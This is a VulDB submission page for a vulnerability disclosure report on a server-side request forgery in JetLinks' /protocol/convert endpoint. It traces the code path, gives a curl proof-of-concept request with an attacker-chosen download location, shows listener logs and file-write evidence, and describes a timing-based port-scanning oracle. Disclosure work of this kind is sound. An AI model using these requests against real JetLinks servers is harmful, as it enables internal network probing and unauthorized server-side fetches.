Soumettre #1082210: jetlinks jetlinks-community master source tree (pom `2.3.0-SNAPSHOT`, audited 2026-10-08; self-built `jetlinks-standalone.jar`, JDK 11); the auto-download jar loader chain is the mechanism to review on every version shipping it server-side request forgeryinformation

Titrejetlinks jetlinks-community master source tree (pom `2.3.0-SNAPSHOT`, audited 2026-10-08; self-built `jetlinks-standalone.jar`, JDK 11); the auto-download jar loader chain is the mechanism to review on every version shipping it server-side request forgery
DescriptionSSRF with server-side file download in JetLinks via the `jar` provider `configuration.location` of `POST /protocol/convert` Vendor: jetlinks Affected versions: master source tree (pom `2.3.0-SNAPSHOT`, audited 2026-10-08; self-built `jetlinks-standalone.jar`, JDK 11); the auto-download jar loader chain is the mechanism to review on every version shipping it Vulnerability class: server-side request forgery (CWE-918), with the fetched body written to the server filesystem Preconditions: a logged-in account with the `protocol-supports:query` permission (the read permission of the protocol-supports feature, held by the default admin role; role-less accounts are rejected with 403 — verified at runtime). No outbound-request allowlist exists on the path; no configuration change is needed. SSRF with server-side file download in JetLinks via the `jar` provider `configuration.location` of `POST /protocol/convert` Data flow: `POST /protocol/convert` body `{"type":"jar","configuration":{"location":"http://<attacker>"}}` → `ProtocolSupportController.java:190-195` (`@QueryAction` read-permission endpoint, `@Hidden`, requires `protocol-supports:query`) → `ProtocolSupportEntity.java:105-108` copies `configuration` verbatim and uses `type` as provider → `SpringProtocolSupportLoader.java:34-38` routes provider `"jar"` to `AutoDownloadJarProtocolSupportLoader` → `:101` accepts any `http`-prefixed location → `:114-116` `webClient.get().uri(location)` server-side GET → `:122-124` response body streamed with `DataBufferUtils.write` to `<protocol-dir>/<id>_<md5(location)>.jar` → error paths (`:131`, `:133`) reflect the target host:port / location to the caller. ### Affected interfaces | Interface | |---| | `POST /protocol/convert` with `{"type":"jar","configuration":{"location":"http://<any>"}}` — requires the `protocol-supports:query` permission (default admin role) | Primary route detail: ``` POST /protocol/convert {"type":"jar","configuration":{"location":"http://127.0.0.1:18950/probe.jar"}} -> server-side GET from the JetLinks process (user-agent: ReactorNetty/1.0.47) -> response body streamed to <protocol-dir>/_debug_<md5(location)>.jar -> closed port: 0.13s 500 "Connection refused: /127.0.0.1:<port>"; silent port: 30s 504 timeout ``` Why the actor reaches the sink: 1. The conversion endpoint accepts a complete protocol entity from the caller and only demands the feature's read permission. 2. The jar-provider loader fetches any `http`-prefixed location with no host allowlist and no address validation. ### Root cause The gap is a missing egress trust boundary on a debug-flavored conversion endpoint: a caller-supplied URL is fetched by the server with its own network position, the body is persisted to disk, and the fetch outcome is echoed back to the caller. 1. `ProtocolSupportController.java:190-195` — full `ProtocolSupportEntity` accepted on a `@QueryAction` (`protocol-supports:query`) endpoint annotated `@Hidden`. 2. `AutoDownloadJarProtocolSupportLoader.java:101` — only `location.startsWith("http")` is checked before `:114-116` performs the server-side GET. 3. `:122-124` — the fetched body is written into the protocol directory as `<id>_<md5(location)>.jar`; `:133` deletes it on load failure (transient write). 4. `:131` — timeout and connection errors returned to the caller contain the target host:port and the requested location (tri-state port-state oracle). Baseline: self-built `jetlinks-standalone.jar` from the jetlinks-community master source tree (pom `2.3.0-SNAPSHOT`), JDK 11, bound to `127.0.0.1:18770`; all probe targets were loopback addresses on the reporter's own host. **1. Positive - the server fetches the attacker URL** (plain HTTP listener on `127.0.0.1:18950`): ```bash curl -s -X POST 'http://127.0.0.1:18770/protocol/convert' \ -H 'X-Access-Token: <admin-token>' -H 'Content-Type: application/json' \ -d '{"type":"jar","configuration":{"location":"http://127.0.0.1:18950/probe.jar"}}' ``` The listener log records the server-side request (not the curl client): ``` [2026-10-08T18:40:24.990928] GET /probe.jar from ('127.0.0.1', 50278) user-agent: ReactorNetty/1.0.47 host: 127.0.0.1:18950 ``` **2. Server-side file write:** with the listener slowly streaming a 10 MB body for `/slow.jar`, polling the protocol directory during the conversion shows the file growing `524288 -> ... -> 9961472` bytes under the name `_debug_<md5(location)>.jar`; after the non-jar body fails provider loading the file is deleted again (transient write, captured by polling). **3. Tri-state oracle:** - Live HTTP listener (port 18950): conversion proceeds into the download. - Closed port 18951: response in 0.13 s - `HTTP 500` with `finishConnect(..) failed: Connection refused: /127.0.0.1:18951` (target host:port inside the message). - Silent port 18952 (accepts, never answers): response after 30.03 s - `HTTP 504` with a timeout message embedding the requested location and `"code":"timeout"`. **4. Negative controls:** unknown provider (`"type":"nosuch"`) → `HTTP 400`, zero outbound requests; `file:///etc/passwd` location → `HTTP 400` `location or fileId can not be empty` (rejected before any fetch, no local file read); role-less account token → `HTTP 403` code `protocol-supports:query` with zero outbound requests. - **Vendor contact**: GitHub Private Vulnerability Reporting - jetlinks/jetlinks-community - **Status**: vendor notification being sent through GitHub Private Vulnerability Reporting; private report https://github.com/jetlinks/jetlinks-community/security/advisories/GHSA-ffh6-frpm-fx56; not publicly disclosed; no CVE assigned - **Duplicate check**: public advisories (NVD/OSV/GitHub) and the project issue tracker were searched before reporting; please tell us if this duplicates something already tracked internally.
La source⚠️ https://github.com/jetlinks/jetlinks-community
Utilisateur
 lucasg2g (UID 84737)
Soumission09/11/2026 08:33 (il y a 24 jours)
Modérer03/12/2026 09:20 (24 days later)
StatutAccepté
Entrée VulDB448606 [jetlinks jetlinks-community jusqu’à 2.11 Protocol Management AutoDownloadJarProtocolSupportLoader.java load location élévation de privilèges]
Points20

Do you want to use VulDB in your project?

Use the official API to access entries easily!